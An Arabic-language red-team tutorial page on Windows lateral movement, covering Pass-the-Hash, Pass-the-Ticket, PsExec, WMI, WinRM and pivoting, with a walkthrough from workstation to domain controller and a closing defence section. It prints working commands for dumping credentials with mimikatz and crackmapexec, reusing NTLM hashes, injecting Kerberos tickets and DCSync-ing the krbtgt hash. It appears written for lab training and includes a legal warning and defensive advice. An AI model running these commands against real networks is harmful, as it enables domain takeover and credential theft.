الفرق الحمراء — الهجومخبير95mL75
الحركة الجانبية بين المضيفين
Pass-the-Hash، PsExec، WMI، WinRM، SOCKS proxies، Chisel
#Lateral Movement#PsExec#WMI#PtH#Pivoting
من جهاز واحد إلى الشبكة كلها
تشبيه — شرح مبسط
تخيل لصاً دخل غرفة فندق. الباب الذي خلفه يفتح على ممر يربط مئة غرفة. الحركة الجانبية = استخدام الاعتمادات أو الأدوات المتوفرة في تلك الغرفة الواحدة لفتح الغرف المجاورة، ثم استخدام كل غرفة جديدة لتعميق الوصول.
Lateral Movement هو مرحلة ATT&CK TA0008. لا أحد يخترق Domain Admin بسطر واحد. تنتقل من جهاز إلى آخر تجمع credentials في كل خطوة، حتى تصل إلى جهاز عليه session لـ Domain Admin أو DC.
أدوات الحركة الأساسية
بروتوكولات Windows أصلية
- SMB (445) — PsExec, smbexec
- WMI (135 + ephemeral) — wmiexec
- WinRM (5985/5986) — Invoke-Command
- RDP (3389) — أبسط لكن الأكثر مراقبة
- DCOM — أقل صخباً، MMC20.Application
Pivoting / Tunneling
- Chisel — TCP/UDP عبر HTTP
- Ligolo-ng — أحدث، أداء عالٍ
- SOCKS5 via SSH أو proxychains
- Sliver / Cobalt Strike — pivot listeners
Pass-the-Hash و Pass-the-Ticket
01
ما هي PtH؟
NTLM يستخدم hash كمفتاح authentication، ليس كلمة المرور. لو سرقت hash من LSASS، لا تحتاج لكسره — ابعثه مباشرة كأنك تعرف كلمة السر.
bash
# باستخدام impacket
psexec.py -hashes :ntlm-hash-here corp.local/Administrator@10.0.0.5002
Pass-the-Ticket
Kerberos أصعب لكن أقل ضوضاء. سرقة TGT أو TGS من ذاكرة عملية، ثم حقنها في session مختلف.
bash
# تصدير TGTs
mimikatz # sekurlsa::tickets /export
# على آلة مختلفة
mimikatz # kerberos::ptt c:\temp\target.kirbi
psexec.exe \\dc01 cmdWalkthrough: من workstation إلى DC
01
جمع الاعتمادات على الجهاز الحالي
bash
# بعد SYSTEM (انظر windows-privesc)
mimikatz # sekurlsa::logonpasswords
# أو
secretsdump.py -system SYSTEM -sam SAM LOCAL02
استكشاف الشبكة
bash
# CrackMapExec — الأداة الذهبية للحركة الجانبية
crackmapexec smb 10.0.0.0/24 -u admin -H ntlm-hash --shares
crackmapexec smb 10.0.0.0/24 -u admin -H ntlm-hash --lsa # dump SAM/LSA
# اكتشف الأجهزة التي قبلت الاعتماد
crackmapexec smb 10.0.0.0/24 -u admin -H ntlm-hash | grep "(Pwn3d!)"03
انتقل إلى الجهاز التالي
bash
# WMI execution — يتجاوز PsExec في معظم EDRs
wmiexec.py corp/admin@10.0.0.55 -hashes :hash
# أو WinRM
evil-winrm -i 10.0.0.55 -u admin -H hash04
ابحث عن session لـ Domain Admin
bash
# BloodHound يكشف من سجل دخوله أين
# Cypher: MATCH p=(u:User {admincount:true})-[:HasSession]->(c:Computer) RETURN p
# لو جهازك pwn3d وجد عليه DA session = اقترب05
DCSync — السحب النهائي
bash
# لو وصلت لـ DA أو user عنده DCSync rights
secretsdump.py -just-dc-user 'corp\krbtgt' corp/da@dc01
# الحصول على krbtgt hash = Golden Ticket = ملك للنطاقتحذير قانوني
استخدم هذا في مختبر AD معزول. الحركة الجانبية في شبكة فيدرالية بدون authorization صريح = جناية. بناء lab AD محلي مجاني ومتاح (GOAD على GitHub).
الدفاع — كسر سلسلة الحركة الجانبية
- تطبيق Tier model: Tier 0 (DCs) لا يقبل اعتمادات Tier 1/2
- تعطيل NTLM حيث أمكن، فرض Kerberos فقط
- LAPS لكلمات مرور المسؤول المحلي — كل جهاز كلمة فريدة
- حظر SMB من workstation إلى workstation (lateral SMB)
- Network Segmentation — VLANs و firewalls داخلية
- Honey accounts: مسؤول وهمي، أي محاولة استخدام = alert
- راقب 4624 logon type 3 من workstations نحو servers خارج الـ pattern
مصادر
- SpecterOps — An ACE Up The Sleeve
- BloodHound documentation — attack paths
- MITRE ATT&CK — TA0008 Lateral Movement
- GOAD lab — github.com/Orange-Cyberdefense/GOAD